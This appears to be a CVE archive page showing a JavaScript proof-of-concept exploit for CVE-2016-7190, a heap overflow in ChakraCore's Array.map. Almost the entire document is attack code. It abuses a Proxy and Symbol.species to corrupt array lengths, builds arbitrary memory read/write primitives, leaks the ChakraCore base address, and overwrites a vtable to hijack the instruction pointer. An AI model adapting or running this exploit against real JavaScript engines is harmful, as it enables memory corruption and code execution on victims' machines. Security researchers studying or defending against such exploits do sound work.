4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2016-7190-rip-hijack.js JS
function hex(a) {
  if (a == undefined) return "0xUNDEFINED";
  var ret = a.toString(16);
  if (ret.substr(0,2) != "0x") return "0x"+ret;
  else return ret;
}


// based on Long.js by dcodeIO
// https://github.com/dcodeIO/Long.js
// License Apache 2
class _u64 {
   constructor(hi, lo) {
      this.lo_ = lo;
      this.hi_ = hi;
   }
   
   hex() {
      var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
      var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
      if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
      if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
      hlo = "00000000" + hlo
      hlo = hlo.substr(hlo.length-8, hlo.length);
      return "0x" + hhi + hlo;
   }
   
   isZero() {
      return this.hi_ == 0 && this.lo_ == 0;
   }
   
   equals(val) {
      return this.hi_ == val.hi_ && this.lo_ == val.lo_;
   }
   
   and(val) {
      return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
   }
   
   add(val) {
      var a48 = this.hi_ >>> 16;
      var a32 = this.hi_ & 0xFFFF;
      var a16 = this.lo_ >>> 16;
      var a00 = this.lo_ & 0xFFFF;

      var b48 = val.hi_ >>> 16;
      var b32 = val.hi_ & 0xFFFF;
      var b16 = val.lo_ >>> 16;
      var b00 = val.lo_ & 0xFFFF;

      var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
      c00 += a00 + b00;
      c16 += c00 >>> 16;
      c00 &= 0xFFFF;
      c16 += a16 + b16;
      c32 += c16 >>> 16;
      c16 &= 0xFFFF;
      c32 += a32 + b32;
      c48 += c32 >>> 16;
      c32 &= 0xFFFF;
      c48 += a48 + b48;
      c48 &= 0xFFFF;

      return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
   }
   
   addi(h,l) {
      return this.add(new _u64(h,l));
   }
   
   subi(h,l) {
      return this.sub(new _u64(h,l));
   }
   
   not() {
      return new _u64(~this.hi_, ~this.lo_)
   }
   
   neg() {
      return this.not().add(new _u64(0,1));
   }
   
   sub(val) {
      return this.add(val.neg());
   };

   swap32(val) {
      return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
            ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
   }

   bswap() {
      var lo = swap32(this.lo_);
      var hi = swap32(this.hi_);
      return new _u64(lo, hi);
   };
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };


function main2() {
   var n = [];
   for (var i = 0; i < 0x10; i++) {
      // nice pattern for easy checking with debugger
      n.push([i*0x10000 |    1, i*0x10000 |    2, i*0x10000 |    3, i*0x10000 |    4,
              i*0x10000 |    5, i*0x10000 |    6, i*0x10000 |    7, i*0x10000 |    8,
              i*0x10000 |    9, i*0x10000 | 0x10, i*0x10000 | 0x11, i*0x10000 | 0x12,
              i*0x10000 | 0x13, i*0x10000 | 0x14, i*0x10000 | 0x15, i*0x10000 | 0x16, 
              i*0x10000 | 0x17, i*0x10000 | 0x18, i*0x10000 | 0x19, i*0x10000 | 0x20,
              i*0x10000 | 0x21, i*0x10000 | 0x22, i*0x10000 | 0x23]);
   }
   
   var c = [new Uint8Array(0x100000), new Uint8Array(0x20), new Uint8Array(0x20),
            new Uint8Array(0x20),   new Uint8Array(0x20), new Uint8Array(0x20)];
   n.push(c);
   
   class fake extends Object {
      static get [Symbol.species]() { return function() { return n[5]; }; };
   }
   
   var handler = {
      get: function(target, name){
         if(name == "length"){
            return 0x200;
         }
         if(name == "constructor")
            return fake;

         if(name == 0) { // leak base addr of NativeIntArray n[6] 
            return  n[6];
         }
         if(name == 1) { // leak base addr Uint8Array 0x100000
            return n[0x10][0];
         }
         
         if(name == 17) { // overwrite n[6] JavascriptArray.length
            return 0x7FFFFFFF;
         }
         
         if(name == 21) { // overwrite len of n[6] SparseArraySegment.length
            return 0x7f00000000;
         }
         
         if(name == 22) { // overwrite length  of n[6] SparseArraySegment.size
            return 0x7FFFFFFF;
         }
         
         return 0; // never executed
      },

      // by only returning for some elements true we avoid linear buffer overflow 
      // -> overwrite only specifc values
      has: function(target, name){
          //print("has " + name);
         if(name == 0 || name == 1 || name == 17 || name == 21|| name == 22) {
            return true;
         }
         return false;
      }
   };
   
   var y = new Proxy([], handler);
      
   
   // ----------------------------------------------------------------------------
   // Exploit heap overflow to gain arbitrary read/write
   // 
   //  - Used vulnerability in Array.map (CVE-2016-7190)
   //  - More info and PoC:
   //    - https://technet.microsoft.com/library/security/ms16-119
   //    - https://bugs.chromium.org/p/project-zero/issues/detail?id=923
   // ----------------------------------------------------------------------------
   
   // trigger overflow
   var o = Array.prototype.map.apply(y, [function(a){ return a; }]);
   print(hex(n[6].length));
   
   w32_rel = function(offset, val) {
      n[6][(offset - 0x18)/4] = val;
   }
   
   r32_rel = function(offset) {
      return n[6][(offset - 0x18)/4];
   }
   
   // by overwriting 
   //  - JavascriptArray.length
   //  - SparseArraySegment.length
   //  - SparseArraySegment.size
   // we can use the native JS array for oob access

   
   // DEBUG
   // print(hex(n[5][1]) + " " + hex(n[5][0]));
   // print(hex(n[5][3]) + " " + hex(n[5][2]));
   var uint8_base_addr   = u64(n[5][3], n[5][2]);
   var uint8_base_offset = n[5][2]- (n[5][0] + 0x40); 
   print("[+] Uint8Array addr: " + hex(uint8_base_addr.hex()));
   // print("Uint8Array offset>> : " + hex(uint8_base_offset));
   
   // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));
   w32_rel(uint8_base_offset +0x20, 0x4141);
   // print("n[0x10][0].length " + n[0x10][0].length);
   // print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));

   // get non clamped vtable
   var vtable_low_addr = r32_rel(uint8_base_offset +0x40);
   w32_rel(uint8_base_offset, vtable_low_addr);
   
   
   //print("Uint8Array length2>> " + hex(r32_rel(uint8_base_offset +0x28)));
   //print("Uint8Array length3>> " + hex(r32_rel(uint8_base_offset +0x2C)));
   
   var uint8_buf_addr = u64(r32_rel(uint8_base_offset + 0x3C), r32_rel(uint8_base_offset + 0x38))

    print("[+] Uint8Array buf addr: " + uint8_buf_addr.hex());
   
   // ----------------------------------------------------------------------------
   // ----------------------------------------------------------------------------


   // ----------------------------------------------------------------------------
   // Define functions that read/write various data widths from/to memory 
   // 
   // ----------------------------------------------------------------------------

   // define functions to read and write arbitrary memory
   var set_buffer_addr = function(u64_addr) {
      w32_rel(uint8_base_offset +0x38, u64_addr.lo_);
      w32_rel(uint8_base_offset +0x3C, u64_addr.hi_);
   }

   var r8 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return n[0x10][0][0];
   };

   var r16 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return n[0x10][0][1] << 8 | n[0x10][0][0];
   };

   var r32 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
             n[0x10][0][1] <<  8 | n[0x10][0][0];
   };

   var r64 = function(u64_addr) {
      set_buffer_addr(u64_addr);
      return u64(n[0x10][0][7] << 24 | n[0x10][0][6] << 16 |
                 n[0x10][0][5] <<  8 | n[0x10][0][4] << 32,
                 n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
                 n[0x10][0][1] <<  8 | n[0x10][0][0]);
   };

   var w8 = function(u64_addr, u8_val) {
      set_buffer_addr(u64_addr);
      n[0x10][0][0] = u8_val & 0xFF;
   }

   var w32 = function(u64_addr, u32_val) {
      set_buffer_addr(u64_addr);
      n[0x10][0][0] = (u32_val >>  0) & 0xFF;
      n[0x10][0][1] = (u32_val >>  8) & 0xFF;
      n[0x10][0][2] = (u32_val >> 16) & 0xFF;
      n[0x10][0][3] = (u32_val >> 24) & 0xFF;
   }

   var w64 = function(u64_addr, u64_val) {
      set_buffer_addr(u64_addr);
      n[0x10][0][0] = (u64_val.lo_ >>  0) & 0xFF;
      n[0x10][0][1] = (u64_val.lo_ >>  8) & 0xFF;
      n[0x10][0][2] = (u64_val.lo_ >> 16) & 0xFF;
      n[0x10][0][3] = (u64_val.lo_ >> 24) & 0xFF;
      n[0x10][0][4] = (u64_val.hi_ >>  0) & 0xFF;
      n[0x10][0][5] = (u64_val.hi_ >>  8) & 0xFF;
      n[0x10][0][6] = (u64_val.hi_ >> 16) & 0xFF;
      n[0x10][0][7] = (u64_val.hi_ >> 24) & 0xFF;
   }

   // These offset highly depend on the version of Chakra(Core)/Windows

   uint8_vtable_addr = r64(uint8_base_addr);
   print("[+] uint8Array vtable: " + uint8_vtable_addr.hex());

   uint8_vtable_addr = r64(uint8_base_addr);

   var chakra_base_addr = r64(uint8_base_addr).subi(0,0x5726f0); // read vtable  function
   print("[+] ChakraCore base addr: " + chakra_base_addr.hex());

   // fake vtable
   w64(uint8_buf_addr.addi(0,0x130), u64(0x41414141,0x41414141));

   // overwrite vtable
   w64(uint8_base_addr.addi(0,0x80) , uint8_buf_addr);

   // trigger call 
   print("[+] hijacking RIP (will crash application, run in debugger to see the 41414141...)");
   print(c[2][0]);

   // shouldn't be reached
   return 0;

}

print(main2());